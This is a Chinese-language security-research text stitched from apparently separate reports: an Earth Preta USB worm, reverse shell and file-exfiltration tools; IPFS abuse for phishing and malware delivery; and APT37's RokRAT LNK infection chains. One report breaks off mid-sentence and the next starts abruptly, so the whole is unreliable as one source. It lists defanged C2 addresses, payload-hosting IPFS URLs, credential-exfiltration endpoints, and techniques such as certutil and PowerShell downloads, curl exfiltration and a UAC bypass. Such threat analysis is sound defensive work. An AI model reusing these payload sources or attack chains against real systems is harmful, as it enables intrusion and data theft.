USB蠕蟲: Worm.Win 32.HIUPAN and+ Backdoor.Win 32.ACNSHELL研究人員發現了一組由USB蠕蟲和反向shell組成的惡意軟件,包括USB蠕蟲和反向shell(被檢測為Worm.Win32.HIUPAN和Backdoor.Win32.ACNSHELL),用於在可移動驅動器上進行擴展。

感染鏈如下圖所示。

22.png

HIUPAN和ACNSHELL感染流

USB Driver.exe程序首先側加載u2ec.dll,然後加載有效負載文件USB .ini。它們分別具有以下PDB字符串:

G:\project\APT\U盤劫持\new\u2ec\Release\u2ec.pdb

G:\project\APT\U盤劫持\new\shellcode\Release\shellcode.pdb

其中“U盤”指的是可移動驅動器。

然後,USB Driver.exe開始檢查是否正確安裝。如果安裝了它,它將開始感染更多的可移動磁盤,並將文件複製到一個名為autorun.inf的文件夾中。如果沒有安裝,它會將自己安裝到%programdata%,然後將註冊表運行項設置為持久性。

最後,側加載ACNSHELL惡意軟件rzlog4cpp.dll。然後,它將通過ncat.exe創建一個反向shell,用於關閉[.]theworkpc[.]com的服務器。

指揮與控制(CC)階段Earth Preta在CC階段使用了多種工具和命令。例如,該組織使用certutil.exe從服務器103[.]159[.]132[.]91下載合法的WinRAR二進製文件rar1.exe。

23.png

certutil.exe程序下載WinRAR二進製文件

研究人員還觀察到攻擊者使用PowerShell從服務器103[.]159[.]132[.]下載多個惡意軟件和文件,以備將來使用。

24.png

PowerShell下載惡意軟件

在某些示例中,研究人員甚至利用安裝在受害主機上的WinRAR二進製文件來解壓所有惡意軟件。

25.png

使用已安裝的WinRAR二進製文件解壓惡意軟件

雖然研究人員發現了涉及多個被釋放惡意軟件的幾個日誌,但研究人員只設法找回了其中的幾個。在收集的所有示例中,我們將重點介紹其中幾個。

Backdoor.Win32.CLEXECCLEXEC後門文件名為“SensorAware.dll”。這是一個簡單的後門,能夠執行命令和清除事件日誌。

26.png

CLEXEC命令代碼

Backdoor.Win32.COOLCLIENTCOOLCLIENT的後門首次出現在Sophos的一份報告中,報告中提到的樣本是在2021編譯的。在該示例中,研究人員分析的COOLCLIENT示例的最近編譯時間是在2022年,雖然它提供了相同的功能,但噹噹前進程名具有“.pdf”或“.jpg”文件擴展名時,它新增了打開誘餌文件(work.pdf)的功能。它還包含減少調試字符串(更少OutputDebugStrings調用)的功能。與此同時,loader.ja在兩個進程下使用:一個是在googleupdate.exe下,用於第一次側加載。第二個是在winver.exe下,它被注入進行後門行為。此外,COOLCLIENT應用了將在我們將在後面討論的混淆技術。

27.png

打開誘餌文件

下圖顯示了COOLCLIENT的整個執行流程。

28.png

COOLCLIENT的執行流

COOLCLIENT的參數提供了以下功能:

install.有三種不同的條件來決定COOLCLIENT的安裝方法,詳細信息如下:

1.它通過創建一個名為InstallSvc的InstallSvc服務來自我安裝,該服務將觸發“googleupdate.exe work”。

2.它通過命令C:\ProgramData\GoogleUpdate\ GoogleUpdate .exe為持久活動設置了一個運行項。

work.惡意軟件將繼續讀取和解密goopdate.ja,並將其註入到winver.exe中以用於包含攻擊的下一階段負載(COOLCLIENT)。

passuac.惡意軟件將檢查進程avp.exe是否存在。如果avp.exe不存在,UAC繞過將通過CMSTPLUA COM接口執行。如果avp.exe存在,UAC繞過將通過AppInfo RPC服務執行。

29.png

通過CMSTPLUA COM接口繞過UAC

WinRAR和curl根據研究人員的一些監控日誌,攻擊者濫用安裝的WinRAR二進製文件和上傳的curl可執行文件來竊取文件(下圖顯示了執行的命令)。注意,可執行文件log.log是一個合法的curl二進製文件。所有洩露的數據都被收集並發送回攻擊者控制的FTP(文件傳輸協議)服務器。

35.png

使用WinRAR和curl洩露數據

在某些示例中,研究人員偶然發現了FTP服務器的帳戶和密碼。在檢查FTP服務器後,研究人員了解到攻擊者主要專注於敏感和機密文件,其中大部分都經過壓縮並使用密碼保護。根據觀察,這些文件是通過對受害者的主機名和磁盤驅動器進行分類來組織的。

36.png

有被盜文件的FTP服務器

HackTool.Win32.NUPAKAGE除了眾所周知的合法工具外,攻擊者還製作了高度定制的用於洩露的工具。研究人員將這個惡意軟件命名為“NUPAKAGE”,該名稱源自其唯一的PDB字符串D:\Project\NEW_PACKAGE_FILE\Release \NEW_PACKAGE_FILE.PDB。

NUPAKAGE惡意軟件需要一個唯一的密碼才能執行,被竊取的數據被封裝在自定義文件格式中。攻擊者似乎在不斷更新該工具,以提供更大的靈活性並降低檢測的可能性,包括添加更多的命令行參數和混淆機制。默認情況下,它只收集文件,包括具有以下擴展名的文件:

doc

.docx

.xls

.xlsx

.ppt

.pptx

.pdf

它避免收集文件名以“$”或“~”開頭的文件,因為這些類型的文件通常要么是系統生成的臨時文件,要么是偽裝成誘餌文件的PE文件。

此工具的用法如下:

37.png

NUPAKAGE惡意軟件的參數

每一個NUPAKAGE惡意軟件都需要一個唯一的密碼作為它繼續執行的首個參數。如下圖所示,它首先檢查密碼是否存在。否則,惡意軟件執行過程將終止。在檢測過程中,研究人員觀察到每個惡意軟件中都有不同的密碼。

38.png

NUPAKAGE中的密碼檢查例程

39.png

NUPAKAGE中的密碼

執行後,NUPAKAGE將釋放xxx.zip和xxx.z兩個文件。 xxx.zip文件是一個日誌文件,其虛假zip標頭以0x0偏移量為前綴,佔用了前0x100個字節。從偏移量0x100開始,在XOR操作中使用單個字節對日誌記錄字符串進行加密,如下圖所示。

40.png

原始日誌文件(頂部),解密後的日誌文件(底部)中顯示純文本

以其中一個執行結果為例,保存了被洩露數據的大部分信息,包括原始文件路徑、原始文件大小和壓縮文件大小。研究人員認為攻擊者利用它來進一步追踪哪些文件被處理過。對於安全研究人員來說,這個日誌文件還有助於揭示有多少數據被洩露,並提供有關影響範圍的信息。

41.png

擴展名為.z的文件是一個自定義文件格式的洩露數據blob。 NUPAKAGE惡意軟件首先隨機生成一個密鑰blob,密鑰在自定義算法中加密。之後,它將加密的密鑰blob存儲到擴展名為.z的文件的前0x80字節中。從偏移量0x80開始,存在一個包含所有已過濾數據的長數組。

洩露文件中的大部分信息都會被保存,例如MD5哈希、文件名長度、壓縮文件大小、原始文件大小、文件名和文件內容。為了分離文件blob,它在每個blob的末尾放置一個唯一的字節序列,55 55 55 55 AA AA AA AA FF FF FF 99 99 99 99。

42.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式

43.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式描述

值得一提的是,在NUPAKAGE的最新版本中,越來越多的混淆被用來阻止靜態分析。

44.png

NUPAKAGE最新版本的垃圾代碼

HackTool.Win32.ZPAKAGEZPAKAGE是另一個用於封裝文件的自定義惡意軟件的示例;它的工作原理也與NUPAKAGE類似。它還需要一個密碼來確保它按預期使用。在下圖所示的示例中,密碼是“start”。

45.png

一個ZPAKAGE密碼的示例

ZPAKAGE也支持命令行參數,但它擁有的函數比NUPAKAGE少。該工具的使用方法如下:

46.png

ZPAKAGE支持的參數

ZPAKAGE也表現出與NUPAKAGE相似的行為。例如,它還避免使用名稱以“$”或“~”開頭的文件。此外,它還生成兩個文件,一個擴展名為.z,另一個擴展名稱為.zip。擴展名為.z的文件是已過濾的數據blob,擴展名為.zip的文件是日誌文件。

在生成的擴展名為.z的文件中,被洩露的文件將通過zlib算法進行壓縮,以最小化文件大小。它還定義了用於存儲的布爾字段“type”,無論文件是否被壓縮。如果壓縮後的文件大小小於原文件,則類型為1。否則,類型將被設置為0,並將選擇原始文件內容,而不是壓縮文件內容。無論文件內容是否被壓縮,它都將在異或操作中使用特定字符串qwerasdf對其進行加密。

47.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式

48.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式描述

檢測惡意攻擊自2022年10月以來,攻擊者已經更改了TTP,並開始使用受密碼保護的文件。例如,研究人員在VirusTotal上發現了一個TONEINS示例(SHA256: 8b98e8669d1ba49b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a),該示例不能鏈接到“關係”選項卡中的任何其他文件。但是,研究人員發現在“行為”選項卡中打開了兩個文件,文件名分別為~$Evidence information.docx和~$List of terrorist personnel at the border.docx,下一階段的有效負載通常嵌入在虛假文件文件中。

49.png

打開的TONEINS示例文件

下圖顯示了在VirusTotal上查詢“邊境恐怖分子人員名單”的搜索結果。第一個文件是研究人員在本節前面提到的TONEINS DLL示例,而第二個文件是一個正常的可執行文件,最初名為adobe_licensing_wf_helper.exe,顯然是上傳到VirusTotal的,文件名為List of terrorist personnel at the border.exe。

50.png

在VirusTotal上搜索字符串邊境恐怖分子名單的結果

51.png

提交adobe_licensing_wf_helper.exe

第三個文件是受密碼保護的文件,它有完全相同的文件名List of terrorist personnel at the border[1].rar。但由於沒有密碼,研究人員無法解壓它。但它在“Relations”選項卡中有一個有趣的父項執行,這是一個名為Letter Head.docx的文件。

52.png

terrorist personnel at the border[1].rar的父項執行

在Letter Head.docx文件中,有一個谷歌驅動器鏈接和一個密碼。內容本身與緬甸聯邦共和國政府有關,並用緬甸語書寫。

53.png

Letter Head.docx

檢查下載鏈接後,研究人員發現它與之前在VirusTotal上發現的受密碼保護的文件相同。

54.png

谷歌驅動器鏈接截圖

新的攻擊載體流與之前介紹的類似,受害者將收到一個包含谷歌驅動器鏈接和相應密碼的誘餌文件,而不是嵌入在電子郵件中的文件下載鏈接,並與之交互。

至於為什麼密碼保護的文件有父項執行,通過在VirusTotal上檢查Letter Head.docx的沙箱執行行為,研究人員發現VirusTotal沙箱會選擇文件中嵌入的任何鏈接。這將導致打開帶有文件下載提示的Internet Explorer窗口。

55.png

VirusTotal上Letter Head.docx文件的沙盒截圖

當顯示下載提示時,甚至在用戶選擇“保存”按鈕之前,Internet Explorer將在後台靜默地下載該文件。

結果,該文件將被保存到名為“INetCache”的緩存文件夾中,之後會看到一個被釋放的RAR文件:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\R0IAZP7Z\List%20of%20terrorist%20personnel%20at%20the%20border[1].rar.

由於RAR文件是由Internet Explorer自動下載的,因此Letter Head.docx將被視為它的執行父文件。

56.png

在VirusTotal上被釋放的Letter Head.docx文件

為了找到嵌入谷歌驅動器鏈接的其他受密碼保護的文件,研究人員嘗試使用以下查詢:

57.png

該查詢可以查找任何加密的RAR文件,其文件足夠大,路徑中包含文件夾名稱“INetCache”。幸運的是,研究人員發現了另一個帶有文件執行父級文件“Notic(20221010)(final).docx”的RAR文件,它原來是一個TONESHELL文件。

58.png

歸檔文件的關係

59.png

文件Notic(20221010)(final).docx的內容

有趣的是,在迄今為止收集的所有示例中,攻擊者使用以相同格式(DD-MM-YYYY)編寫的日期和時間字符串作為提取密碼。

連接點在調查過程中,研究人員觀察到一些數據點與同一個人有關。例如,研究人員在收集的不同惡意軟件樣本中發現了一個特定的名稱“TaoZongjie”。此外,Avast在2022年12月的報告中提到的名為“YanNaingOo0072022”的GitHub存儲庫託管了多個惡意軟件,包括TONESHELL。研究人員還觀察到不同惡意軟件之間的混淆方法有相似之處。

用戶“TaoZongjie”分析研究人員發現一些樣本共享相同的特殊字符串/名稱“TaoZongjie”,包括Cobalt Strike惡意軟件,TONESHELL CC服務器上的Windows用戶,以及TONESHELL彈出對話框中顯示的消息。

調查始於啟用了遠程桌面服務的TONESHELL CC服務器38[.]54[.]33[.]228,研究人員發現其中一個Windows用戶叫“TaoZongjie”。

60.png

38[.]54[.]33[.]228中的Windows用戶

在尋找與此次活動相關的樣本時,研究人員看到了一條發佈於2021年4月的關於Cobalt Strike的推文。乍一看,Cobalt Strike的使用方式與此活動類似,包括使用DLL側加載,使用谷歌驅動器鏈接進行傳播,並創建日程任務。

61.png

關於Cobalt Strike的推特

感染流程如下:歸檔文件通過Google Drive鏈接傳播,其中包含一個合法的EXE文件、一個惡意的DLL文件和一個用緬甸語編寫的誘餌文件。一旦惡意DLL被側加載,它將釋放嵌入DLL文件的資源部分的合法EXE文件和惡意DLL文件。在這個示例中,字符串By:Taozongjie被用作事件名稱。

62.png

Cobalt Strike的攻擊流

63.png

示例中的特殊字符串

在一個TONEINS示例(SHA256: 7436f75911561434153d899100916d3888500b1737ca6036e41e0f65a8a68707)中,研究人員還觀察到用於事件名稱的字符串taozongjie。

64.png

在TONEINS創建活動taozongjie

在另一個TONESHELL示例(SHA256: d950d7d9402dcf014d6e77d30ddd81f994b70f7b0c6931ff1e705abe122a481a)中,有一些無關緊要的導出函數,它們將通過消息框出現,字符串為Tao或zhang!儘管這兩個字符串的拼寫方式與taozongjie不完全相同,但它們的拼寫仍然相似。

65.png

TONESHELL的消息框

根據研究人員在不同樣本中發現的情況,研究人員假設taozongjie可能是攻擊者使用的標誌之一。

GitHub用戶“YanNaingOo0072022”分析在Avast和ESET報告中都提到了GitHub用戶“YanNaingOo0072022”。用戶的存儲庫託管各種惡意軟件,包括最新版本的TONEINS、TONESHELL和一個名為MQsTTang的ESET新工具QMAGENT。在撰寫本文時,這個GitHub空間仍然可以訪問,有五個存儲庫:“View2015,” “View2016,” “1226,” “ee,” 和“14.” 。其中,“View2015” 和“View2016”是空的。

66.png

YanNaingOo0072022 GitHub空間

1226此存儲庫中的歸檔文件都相同,但具有不同的文件名。研究人員認為這些文件是針對不同的受害者的。

微信截图_20230421165743.png

2022年,unit42觀察到,IPFS(InterPlanetary File System,星際文件系統)被廣泛用作惡意工具。 IPFS是一種全新的超媒體文本傳輸協議,可以把它理解為一種支持分佈式存儲的網站。

與任何技術一樣,IPFS也可能被攻擊者者濫用。然而,由於IPFS上的託管內容是去中心化和分佈式的,因此在定位和刪除生態系統中的惡意內容方面存在挑戰,這使其類似於bullet-proof 託管。

從2021第四季度到2022年第四季度末,Palo Alto Networks檢測到IPFS相關流量增加了893%。調查還顯示,病毒總數在同一時期增長了27000%以上。 IPFS相關流量的增加伴隨著惡意活動的顯著增加。檢測發現,2022年的許多攻擊活動涵蓋了網絡釣魚、憑證盜竊和惡意有效負載傳播。

整體流量增加從2022年第一季度開始,Palo Alto Networks的IPFS流量顯著增加,如下圖所示。 2022年第一季度,研究人員檢測到IPFS流量與2021年最後一個季度末的記錄相比增長了178%。

之後流量繼續增加:

第二季度增長85%;

第三季度增長62%;

2022年最後一個季度增長了19%;

這相當於整體增長了893%。

1.png

與IPFS相關的流量在2022年第一季度的VirusTotal上也出現了類似的增長,與2021年第四季度相比增長了6503%

之所以會出現這種增長,是因為採用了IPFS技術。新技術出現後總會有人惡意使用它。研究人員在Palo Alto Networks和VirusTotal提交的IPFS流量中觀察到的顯著增加也包括使用IPFS的惡意活動的大幅增加。

研究人員觀察到,攻擊者經常為他們的詐騙服務做廣告,使用各種宣傳。也就是說,由於IPFS分佈式文件系統的性質,IPFS為他們的活動提供了持久性。

3.png

攻擊者使用客戶IPFS鏈接銷售詐騙服務

4.png

5.png

6.png

攻擊者出售IPFS網絡釣魚頁面

攻擊者正在使用公共IPFS網關作為傳遞其惡意內容的方式。如果沒有這些互聯網可訪問網關,攻擊者將無法將IPFS網絡作為其攻擊活動的一部分。這一趨勢在許多網絡釣魚和網絡犯罪活動中使用互聯網可訪問的IPFS鏈接中可以看到,這些活動的初始攻擊媒介通常是電子郵件誘餌。

接下來,我們將詳細介紹在分析惡意使用IPFS技術時看到的一些攻擊活動。

網絡釣魚下圖顯示了IPFS與網絡釣魚相關的網絡流量呈指數級增長,尤其是在今年最後一個季度。與託管在網絡上的傳統網絡釣魚頁面不同,託管提供商或管理機構無法輕鬆刪除IPFS網絡釣魚內容。

一旦發佈到IPFS網絡,任何人都可以在自己的節點上獲取並重新發佈內容。網絡釣魚內容可以託管在多個節點上,並且必須向每個主機發出刪除內容的請求。如果任何一個主機不同意刪除,那麼內容幾乎不可能被刪除。

由於網站所有者、託管提供商或版主刪除或暫停內容,網絡釣魚活動的生存時間(TTL)通常比其他類型的網絡犯罪更短。 IPFS的結構使攻擊者能夠通過使其更具抵禦能力來延長他們的活動。

7.png

IPFS網絡釣魚URL

IPFS網絡釣魚活動與傳統網絡釣魚活動類似,攻擊者模仿合法服務和軟件(如DHL、DocuSign和Adobe)來增加進入某人收件箱的可能性。阻止這些誘惑的能力取決於接收組織的電子郵件安全性。雖然一些組織在其安全電子郵件網關和其他安全產品中製定了非常嚴格的規則,但其他組織沒有這樣做,因為擔心合法的電子郵件會受到影響。

請注意,下面顯示的名稱和徽標是攻擊者試圖冒充合法組織的作品,攻擊者的模仿並不意味著合法組織的產品或服務存在漏洞。

在下面的示例中,模仿DHL品牌的電子郵件誘餌包含一個附件。在該附件中,有一個指向實際網絡釣魚頁面的IPFS鏈接。

8.png

DHL主題的電子郵件誘餌,附件已提交給VirusTotal

一旦用戶點擊下圖所示的附件,就會預覽一張模仿Adobe PDF標識的假髮票。 “打開”按鈕實際上是一個IPFS鏈接,將用戶重定向到實際的網絡釣魚頁面,而不是打開PDF。這個頁面可以通過IPFS網關訪問。

9.png

附有DHL誘餌鏈接的附件

IPFS URL通過IPFS[.]io將用戶重定向到Adobe網絡釣魚頁面,然後嘗試竊取用戶的登錄憑據。

10.png

在DHL主題誘餌的附件中發現了IPFS釣魚鏈

與其他Web3技術一樣,常用的數據外竊取方法在IPFS網絡上是不可能的。攻擊者無法接收受害者輸入到表單中的數據,從而竊取他們的憑據。

標準的web表單使用HTML前端來顯示內容,後端使用表單處理器來收集、處理並將數據發送到web服務器。 IPFS不包含相同或類似的技術來處理這些動態功能。

使用IPFS的人只是簡單地提取或檢索數據的只讀副本,而不是與之交互。 IPFS網關後面的網絡釣魚頁面依賴於許多其他技術。

例如,攻擊者可以在收集帳戶憑證的網頁中使用嵌入式腳本代碼。他們還可以使用無頭表單,即可以填寫和收集的靜態用戶表單。表單字段被映射到JSON模型,以便通過API發送到後端系統,從而促進API驅動的竊取。這些信息是通過HTTP POST請求收集的,這些請求被發送給攻擊者,在那裡它可以被用於其他惡意目的。

Nillis.html中的未轉義腳本下圖顯示了一個模仿Microsoft的網絡釣魚示例,它以HTML頁面的形式託管。鏈接此頁面的IPFS URL為

hxxps[://]bafybeicw4jjag57bk3czji7wjznkkpbocg27qk3fjvqh5krbrfiqbksr2a[.]ipfs[.]w3s[.]link/Nills[.]html.

11.png

Nills.html的網絡釣魚頁面

要了解憑據將如何被竊取的,有必要查看網頁的源內容。

下圖顯示了一個名為WriteHTMLtoJS的函數。此函數的目的是將HTML寫入JavaScript (JS),並對內容進行轉義。 UnescapeJS函數負責用實際的ASCII字符值解碼十六進制序列

12.png

Nills.html網頁的源代碼視圖

解碼和分析未轉義的內容會發現一對腳本標籤和一個觀察到的URL,它是app[.]headlessforms[.]cloud,網絡釣魚頁面似乎與此URL有關。

對無頭表單的分析表明,此網絡釣魚頁面使用的是一種管理用戶表單的方法,在該方法中,可以在第三方後端捕獲數據,而無需設計或開發前端web應用程序。

13.png

Nills.html的解碼視圖,其中包含憑據洩露的位置

受害者輸入帳戶用戶名和密碼憑據後,它將通過HTTPPOST請求發送。 URI末尾的字符串(GjCP9S9nke)是與無頭表單平台上的攻擊者相關聯的唯一標識令牌。

14.png

HTTP POST和捕獲的憑據

new.html中的HTTP POST另一個模仿微軟的網絡釣魚頁面也託管在IPFS上,名為new.html。關聯的IPFS釣魚URL為:

hxxp[://]bafybeifm5vcoj35hhuxf7ha3gg6asrrlrwu3bvcysgmrvygnm3qjmugwxq[.]ipfs[.]w3s[.]link/new[.]html?email=

15.png

new.html釣魚頁面

查看網頁源代碼會發現一個與前面引用的類似的JS函數,它對內容進行反轉義,將其解碼為ASCII值。 unescape函數如下圖所示。

16.png

new.html的源代碼視圖

對內容進行解碼後,會發現位於大量代碼底部附近的一個感興趣的片段,如下圖所示。

17.png

new.html URL

上圖中的代碼片段顯示了註冊到提交按鈕的點擊函數事件的外部URL (fairpartner[.]ru)。此URL將與HTTP POST請求提供的數據聯繫,如下圖所示。

18.png

fairpartner.ru的DNS請求

截止發文,研究人員還無法捕獲憑證盜竊,因為該域不再可訪問,這突出了使用第三方服務(如無頭表單)進行攻擊的優勢。

IPFS不僅被攻擊者用於網絡釣魚,它還用於惡意軟件攻擊集和勒索軟件。

眾所周知,RansomEXX等勒索軟件即服務(RaaS)運營商會使用IPFS網絡發布受害者被盜的數據。 Smoke Loader、XLoader、XMRig和OriginLogger等惡意軟件經常使用IPFS鏈接進行惡意有效負載傳遞。 IPStorm和Dark實用程序使用IPFS網絡作為基礎設施。

攻擊過程攻擊者以幾種不同的方式使用IPFS網關。可以將這些方法分類為傳播方法,或用作託管或分級有效負載的基礎設施,或者用作分散的C2信道。

以下惡意軟件家族在2022年全年一直在使用IPFS。惡意軟件家族Dark Utilities一直在使用IPFS網關來轉移惡意負載。 IPStorm使用IPFS網關作為P2P通信的C2信道。

攻擊者還使用IPFS網關提供各種惡意軟件,例如:

OriginLogger

XLoader

XMRig

Metasploit

接下來,我們將介紹這些攻擊是如何在高級別上運行的,包括IPFS是如何被用來促進惡意操作的。

OriginLoggerOriginLogger惡意軟件開始於2019年。它是Agent Tesla遠程訪問木馬的迭代版本。它是用.NET編寫的,是一個隱蔽性很強的信息竊取程序。這種攻擊通常以擊鍵和剪貼板數據為目標,這些數據通過C2通道傳送回攻擊者控制的服務器。

Unit 42的研究人員發現了一個偽裝成逾期發票的電子郵件誘餌,帶有XLL附件。打開XLL文件後,會向IPFS URL發送HTTP GET請求:

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

此URL用於通過IPFS網關下載OriginLogger負載。

19.png

附件

下圖顯示了OriginLogger的第二個傳播示例,這封電子郵件也偽裝成過期發票,標題是“過期發票”。

這個電子郵件誘餌還有一個XLL文件附件。打開後,還會向IPFS URL發送GET請求:

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

點擊此URL可通過IPFS網關下載OriginLogger負載。

20.png

推送包含OriginLogger有效負載的附件的電子郵件

下面列出了託管在IPFS上的一些其他OriginLogger有效負載,這些負載來自2022年5月至6月期間發生的一場活動:

hxxps[://]ipfs[.]io/ipfs/QmQBPuPxy3nZjK2yVspsUJVhutajAfRQpnjc58RAcUJFrh?filename=INV-SCL0093-05-22pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmY4kDbUk8VYM8Zzn1rVgfa3c4ybma4evMBfyWwyieaZxW?filename=Sign-Reurn-pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmczJ1MxQ2SH8deXBTJfFgsrApM5BShgLSh1MQry4Vxc4c?filename=REF

XLoaderXLoader惡意軟件起始於2020年,是FormBook的迭代版。 XLoader被宣傳為一種可以在Windows和macOS上運行的軟件即服務(MaaS)產品。 XLoader能竊取瀏覽器和登錄憑證,它還能夠記錄鍵盤和捕獲屏幕截圖。

Unit 42的研究人員觀察到以下與XLoader有效負載託管相關的野外(ITW)URL:

hxxp[://]bafybeiafb63z73aoz3d4jdpve2rhlwo6ujlzjyri26z63flqnara2dqwoa[.]ipfs[.]dweb[.]link/order.exe

bafybeicokadgkcohrqslwdnmtu5mcc2zmo2hveiw2bh5j5z35onsxe3cy4[.]ipfs[.]dweb[.]link

XMRigXMRig是一個自2017年以來一直活躍的惡意挖礦軟件,它是一個開源實用程序,很受各類攻擊組織的歡迎。

下圖顯示了一個ITW IPFS域,該域在2023年3月下旬為XMRig有效負載提供服務。 Unit 42的研究人員還觀察到攻擊者濫用Cloudflare的IPFS網關來託管XMRig。

21.png

ITW域正在下載XMRig有效負載

Unit 42觀察到以下與XMRig託管相關的URL:

hxxps[://]bafybeibgc3snqi6qesnhskujhjcbduu7lfhju7eppumuqhymapuwvln6tq[.]ipfs[.]nftstorage[.]link

hxxps[://]cloudflareipfs[.]com/ipns/12D3KooWDdu1TTG9JRzFisv8HBXE2Zi2qpqs1r2vb88vEE1ws5mc/phpupdate.exe

下圖顯示了XMRig的可執行PE文件屬性。

22.png

XMRig PE文件信息

MetasploitMetasploit框架是一個滲透測試工具包,自21世紀初以來就一直活躍。 Metasploit包含漏洞利用、模塊、有效負載和輔助功能。該工具包的主要用例是生成有效負載並實現代碼執行,以建立與受害者設備的通信通道。這使得使用該工具包的人能夠訪問和控制環境或用戶。

2023年3月下旬,Unit 42的研究人員觀察到一個ITW IPFS域:

hxxps[://]bafybeihtuhj7ezvjbtig75qpv43t7eh6dmcnarlm454fx5yjb4uzqbidpy[.]ipfs[.]infura-ipfs[.]io

自2022年5月26日以來,該域一直在提供Metasploit shellcode負載。 shellcode連接回IP地址51.254.127[.]82。

23.png

從IPFS域下載Metasploit負載

24.png

Metasploit shellcode逆向shell IP連接

與相同的Metasploit有效負載相關的附加ITW域:

hxxps[://]ipfs.infura[.]io/ipfs/QmejguEysvXLMaAYmXe3EXmjfnoAqMdVfn4ojto1yLTGhK

IPStormIPStorm惡意軟件自2019年以來一直活躍,它使用IPFS作為C2通道。

IPStorm使用開源庫libp2p作為網絡棧,並通過IPFS網絡進行P2P通信。可執行文件是用Golang編寫的,包含多個可用於識別惡意軟件家族的軟件包名稱。該攻擊在模塊名稱之前使用文件夾名稱/storm,如下圖所示。

25.png

b8ee3897aff6c6660557a4c73b243870020705df6c87287040bfcd68b7c8b100中使用的GO庫的屏幕截圖

Dark UtilitiesDark Utilities惡意軟件家族最初是在2022年由Cisco Talos發現的。是一個為攻擊者提供全功能C2 功能的平台,使用IPFS作為其首選的傳播渠道。此攻擊可以針對Windows

微信截图_20230507224157.png

本文是Check Point根據其2022年7月首次發現的一個RokRAT樣本來做的深入分析。

早在2022 年7 月,APT37(Inky Squid、RedEyes、Reaper或ScarCruft)就開始試驗使用超大LNK 文件傳播RokRAT活動,企圖利用不受信任來源的宏發起攻擊,巧的是,同月微軟開始默認阻止跨Office 文檔的宏。與以前一樣,攻擊的目標還是韓國的目標。

研究結果表明,用於最終加載ROKRAT的各種多階段感染鏈被用於其他攻擊,導致傳播與同一攻擊者相關的其他工具。這些工具包括另一個自定義後門,GOLDBACKDOOR和Amadey。

在前幾年,ROKRAT感染鏈通常涉及帶有漏洞的惡意朝鮮文字處理器(HWP,韓國流行的文檔格式)文檔或帶有宏的Microsoft Word文檔。雖然一些ROKRAT樣本仍然使用這些技術,但傳播方式上還是進行了改進,即使用偽裝成合法文檔的LNK文件傳播ROKRAT。這種轉變並不是ROKRAT獨有的,而是代表了2022年非常流行的更大趨勢。

ROKRAT的背景介紹Talos於2017年4月首次報導了APT37開發的ROKRAT(也稱為DOGCALL),這個工具被用來針對韓國的政府部門,記者、活動人士和脫北者。根據最初的報告,其中一個ROKRAT樣本使用Twitter作為其命令和控制(CC)基礎設施,而另一個則依賴於Yandex和Mediafire。後一個更接近於如今ROKRAT的活動方式,依賴雲文件存儲服務作為一種CC機制。

最初只支持Windows,多年來ROKRAT已經適應了其他平台,在野外發現了macOS和Android版本。 macOS版本,也稱為CloudMensis,於2022年7月由ESET首次描述。雖然Android版本的ROKRAT已經存在了很長時間,但InterLab和S2W都在Android上推出了一個更新版本的ROKRAT,稱為RambleOn(Cumulus)。所有這些都表明,這種惡意軟件仍在迭代中。

APT37的許多工具都是自定義編寫的工具,如ROKRAT,包括(但不限於)最近報導的M2RAT、Konni RAT、Chinotto和GOLDBACKDOOR。然而,攻擊者也會使用Amadey等普通惡意軟件。使用普通惡意軟件使得將攻擊歸因於特定組織變得更加困難,因為它廣泛可用,任何人都可以獲得它。

今年2月,AhnLab報告了一種名為Map2RAT(簡稱M2RAT)的新RAT。這種RAT利用隱寫術技巧,將可執行文件隱藏在JPEG文件中以逃避檢測。今年3月,Sekoia和ZScaler都發布了APT37使用釣魚網站和PowerShell後門的報告,ZScaler導致了另一個名為Chinotto的植入程序的傳播。

誘餌和感染鏈在過去的四個月裡,我們觀察到多個感染鏈導致了ROKRAT的傳播。在大多數情況下,LNK文件會啟動攻擊,儘管在少數情況下,DOC文件被用於相同的目的(以前的ROKRAT攻擊中的方法)。在分析ROKRAT感染鏈的過程中,研究人員發現了導致Amadey傳播的攻擊鏈,Amadey是一種在地下論壇上出售的商業RAT。儘管攻擊的性質不同,但研究人員認為所有這些攻擊都是由相同的攻擊者策劃的。

1.png

誘餌和感染鏈的時間線

誘餌LNK感染鏈2022年4月,Stairwell發表了對GOLDBACKDOOR的詳細分析,這是一種針對韓國記者的有針對性攻擊中使用的惡意軟件。 Stairwell對利用運行PowerShell的大型LNK文件的感染鏈進行了徹底分析,導致在釋放誘餌文檔的同時執行新發現的惡意軟件。這項技術是一個名為EmbeddExeLnk的公共工具的獨特實現。

雖然最初與GOLDBACKDOOR有關,但對最近與APT37相關的誘餌的分析表明,這種技術已經成為一種重要的方法,用於傳播與同一攻擊者相關的另一種工具,即ROKRAT。 ROKRAT和GOLDBACKDOOR加載機制的實現非常相似,只有在檢索有效負載時才能區分。

在過去的幾個月裡,研究人員能夠利用ZIP和ISO檔案中提供的這種獨特實現來識別多個誘餌。只有其中一些誘餌被證實會導致ROKRAT的傳播。所有的誘餌都以韓國國內外事務為主題。

LNK感染鏈分析目前已知的所有LNK都會導致幾乎相同的感染鏈。下面以“利比亞項目”中描述的一個感染為例進行說明:

7.png

“利比亞項目”誘餌的感染鏈

點擊惡意LNK文件會觸發PowerShell的執行,並啟動以下感染鏈:

1.PowerShell從LNK中提取文檔文件,將其放入磁盤,然後打開它。這個文件是一個誘餌,欺騙用戶以為他們只是打開了一個普通的PDF或HWP文件。

2.PowerShell從LNK中提取BAT腳本,將其放入磁盤並執行。

8.png

3.BAT腳本執行一個新的PowerShell實例,該實例從OneDrive下載有效負載,通過將有效負載的第一個字節作為密鑰對其進行解碼,並將其與有效負載的其餘部分進行異或。

4.生成的有效負載以反射方式註入PowerShell,使其作為新線程運行。

5.shellcode使用四字節異或密鑰對有效負載的ROKRAT部分進行解碼並執行它。

9.png

